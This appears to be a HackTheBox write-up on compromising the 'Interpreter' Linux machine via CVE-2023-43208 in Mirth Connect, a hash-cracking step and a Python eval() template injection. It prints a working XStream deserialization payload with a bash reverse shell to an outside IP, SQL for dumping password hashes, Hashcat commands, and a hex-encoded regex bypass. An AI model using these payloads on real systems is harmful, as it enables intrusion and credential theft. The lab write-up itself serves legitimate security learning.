HTB-Season10-Interpreter
OS: Linux | Difficulty: Medium

In this write-up, we will walk through the exploitation path for the HTB Interpreter machine. This box highlights the dangers of outdated Java dependencies and improper input sanitization in internal APIs.
Like always, we'll kick things off with a basic Nmap scan to see what we're working with:

Open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS/API)
When we open the website in a browser, we are greeted by a Mirth Connect server webpage:

Initial Foothold: CVE-2023-43208
I did some research and found that Mirth Connect servers—particularly those running version 4.4.0—are affected by CVE-2023-43208. I needed to verify the exact version running on the target, which can be done by querying the API:
curl -k -H "X-Requested-With: OpenAPI" https://<machine-ip>:443/api/server/version

With the version confirmed, let's look at what this CVE actually does.
CVE-2023-43208 is an unauthenticated Remote Code Execution (RCE) vulnerability stemming from insecure Java Object Deserialization in the XStream library. Mirth Connect 4.4.0 uses XStream to process incoming XML requests. The problem is that XStream doesn't just read data; it attempts to reconstruct (deserialize) Java objects directly from that XML.
Because the server lacks proper sanitization, we can hand it a specially crafted XML structure that tricks Java into running a system command. Here is the payload:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>sh</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/10.10.14.121/4444 0>&1</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
Notice how we aren't sending a normal configuration file. Instead, we pass a <dynamic-proxy> block pointing directly to java.lang.ProcessBuilder (Java's built-in way to execute terminal commands). The moment XStream reconstructs the EventHandler, it triggers the start action on our ProcessBuilder, executing our reverse shell before authentication even occurs.
To automate this, I used the following exploit repository: CVE-2023-43208-EXPLOIT

Lateral Movement: Database to Sedric
I caught the reverse shell and tried to read the user flag in Sedric's folder, but got hit with ACCESS DENIED. We needed SSH credentials. After snooping around the filesystem, I found some interesting configuration files:

Inside mirth.properties, I found credentials for the MySQL database. I logged in using mysql -u mirthdb -p MirthPass123!:

Using standard enumeration, I hunted down the password hashes:
show DATABASES;
use mc_bdd_prod;
show TABLES;
select * FROM PERSON;
select * FROM PERSON_PASSWORD;

We found a password hash for the user Sedric. Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256, which can be tough to crack but definitely not impossible.
To prep the hash for cracking, I used a Python script to decode the Base64 string, split the salt and the derived key, and format it specifically for Hashcat's Mode 10900:
import base64
db_hash = "u/+LBB**********************************/kL+w=="
raw_bytes = base64.b64decode(db_hash)
# Split the bytes (8 bytes salt, 32 bytes derived key)
salt = raw_bytes[:8]
derived_key = raw_bytes[8:]
# Re-encode to Base64 for Hashcat
salt_b64 = base64.b64encode(salt).decode('utf-8')
key_b64 = base64.b64encode(derived_key).decode('utf-8')
# Format for Hashcat Mode 10900
hashcat_format = f"sha256:600000:{salt_b64}:{key_b64}"
print("\n[+] Save this exact line into a file named hash.txt:")
print(hashcat_format)

I fed the output into Hashcat:
hashcat -m 10900 hash.txt /usr/share/wordlist/rockyou.txt

Success! With Sedric's decrypted password, we can SSH into the machine and claim the user flag.

Privilege Escalation: Root via SSTI
Running linpeas revealed some interesting file permissions that caught my eye:

We found our path to root in a Python script handling templates:
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
The server takes user input and wraps it in an f-string, which is then evaluated using eval(). This is a classic Server-Side Template Injection (SSTI) vulnerability. For example, injecting {{7*7}} would output 49.
However, we can't just inject cat /etc/passwd because of this strict regex filter:
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
The server rejects special characters like spaces and slashes. How do we bypass it? By encoding our payload into hex, because alphanumeric characters are whitelisted.
For example, to run the id command (hex 6964), we format it like this:
__import__('os').system(bytes.fromhex('6964').decode())
Because the script runs with root permissions, triggering a reverse shell payload this way grants us root access. To streamline the attack, I used this exploit repository: SSTI-RCE-Exploit-Interpreter-HTB

The Unintended Shortcut
There is actually a secondary method for solving this box. I don't personally recommend skipping steps—since these machines are about learning the full methodology—but it's worth showing that multiple paths exist.

Return to Home